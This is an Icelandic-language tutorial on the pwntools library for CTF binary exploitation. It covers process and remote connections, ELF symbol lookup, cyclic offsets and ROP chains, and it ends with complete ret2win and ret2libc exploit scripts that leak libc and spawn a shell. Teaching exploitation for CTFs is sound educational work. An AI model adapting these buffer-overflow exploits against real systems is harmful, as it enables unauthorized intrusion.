pwntools
pwntools er Python bókasafn (e. library) hannað sérstaklega fyrir CTF og nýting tvíundaskráa (e. binary exploitation). Það gerir það mjög auðvelt að senda gögn til ferla (e. processes) eða netþjóna (e. servers), vinna með tvíundaskrár og smíða nýtingarkóða (e. exploits).
Uppsetning
pip install pwntools
Tengjast ferlum og þjónum
from pwn import *
# Keyra forrit á þinni vél
p = process('./challenge')
# Tengjast CTF þjóni yfir net
p = remote('chall.ctf.example', 1337)
# Keyra með GDB meðfylgjandi (opnar GDB í nýjum glugga)
p = gdb.debug('./challenge', 'break main\ncontinue')
Senda og taka á móti gögnum
# Senda
p.send(b'hello') # Sendir bæti (engin ný lína)
p.sendline(b'hello') # Sendir bæti + \n
p.sendlineafter(b':', b'hello') # Bíður eftir ':' og sendir svo
# Taka á móti
data = p.recv(8) # Les nákvæmlega 8 bæti
line = p.recvline() # Les þar til \n
p.recvuntil(b'> ') # Sleppir öllu þar til '> ' finnst
p.recvall() # Les allt þar til forritið lokar
# Gagnvirkt (e. interactive): gefur þér skel (e. shell)
p.interactive()
Tip
Ef nýtingarkóðinn þinn virkar en þú færð enga skel, gleymdu ekki p.interactive() í lokin!
ELF: Vinna með tvíundaskrár
elf = ELF('./challenge')
# Vistfang falla og tákna (e. symbols)
print(hex(elf.sym['main'])) # vistfang main
print(hex(elf.sym['win'])) # vistfang win
print(hex(elf.plt['puts'])) # puts í PLT
print(hex(elf.got['puts'])) # puts í GOT
# Leita að streng í tvíundaskrá
addr = next(elf.search(b'/bin/sh'))
# Nota með ASLR (þegar PIE er virkt)
elf.address = 0x555555554000 # Setja base address eftir leak
print(hex(elf.sym['win'])) # Reiknar sjálfkrafa offset + base
libc
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# Eftir leak:
libc.address = leak - libc.sym['puts']
system = libc.sym['system']
binsh = next(libc.search(b'/bin/sh'))
Pakka og opna gildi (e. pack/unpack)
# Pakkar vistfangi í lágenda bætaröð (e. little-endian)
p64(0x401234) # 64-bit → b'\x34\x12\x40\x00\x00\x00\x00\x00'
p32(0x401234) # 32-bit → b'\x34\x12\x40\x00'
# Opnar (e. unpack) bæti og breytir í vistfang
u64(b'\x34\x12\x40\x00\x00\x00\x00\x00') # → 0x401234
u32(b'\x34\x12\x40\x00') # → 0x401234
# Fyllir upp (e. padding) í 8 bæti
u64(p.recv(6).ljust(8, b'\x00')) # Algeng leið til að lesa 6-bæta leka
Cyclic: Finna offset
# Búa til mynstur sem er auðþekkjanlegt
pattern = cyclic(200)
p.sendline(pattern)
# → Forritið crashar, skoðaðu RSP í GDB
# Finna offset út frá gildinu í RSP
offset = cyclic_find(0x6161616261616161) # Gildið sem GDB sýndi í RSP
print(offset) # t.d. 72
ROP: Smíða ROP keðjur
rop = ROP(elf)
# Finna gadgets sjálfkrafa
rop.raw(rop.find_gadget(['pop rdi', 'ret'])[0])
rop.raw(p64(binsh_addr))
rop.raw(p64(system_addr))
payload = b'A' * offset + rop.chain()
Skráning (e. Logging)
log.info(f"puts @ {hex(leak)}") # [*] puts @ 0x7f...
log.success(f"Shell obtained!") # [+] Shell obtained!
log.warning("PIE enabled, need leak") # [!] PIE enabled...
Heildardæmi: ret2win
from pwn import *
# Stillingar
context.binary = elf = ELF('./challenge')
context.log_level = 'info' # Sýnir log skilaboð
p = process('./challenge')
# p = remote('chall.ctf.example', 1337)
# Finna offset
offset = 72
# Smíða payload
win_addr = elf.sym['win']
payload = b'A' * offset + p64(win_addr)
# Senda
p.sendlineafter(b'input: ', payload)
# Fá shell
p.interactive()
Heildardæmi: ret2libc með leak
from pwn import *
context.binary = elf = ELF('./challenge')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./challenge')
offset = 72
pop_rdi = 0x401234
ret = 0x401235
got_puts = elf.got['puts']
plt_puts = elf.plt['puts']
main = elf.sym['main']
# === Leak ===
payload = b'A' * offset
payload += p64(pop_rdi) + p64(got_puts)
payload += p64(plt_puts)
payload += p64(main)
p.sendlineafter(b'input: ', payload)
p.recvline() # Sleppa fyrstu línu ef þarf
leak = u64(p.recv(6).ljust(8, b'\x00'))
log.info(f"puts @ {hex(leak)}")
libc.address = leak - libc.sym['puts']
log.info(f"libc base @ {hex(libc.address)}")
# === Shell ===
system = libc.sym['system']
binsh = next(libc.search(b'/bin/sh'))
payload2 = b'A' * offset
payload2 += p64(ret) # 16-byte alignment
payload2 += p64(pop_rdi) + p64(binsh)
payload2 += p64(system)
p.sendlineafter(b'input: ', payload2)
p.interactive()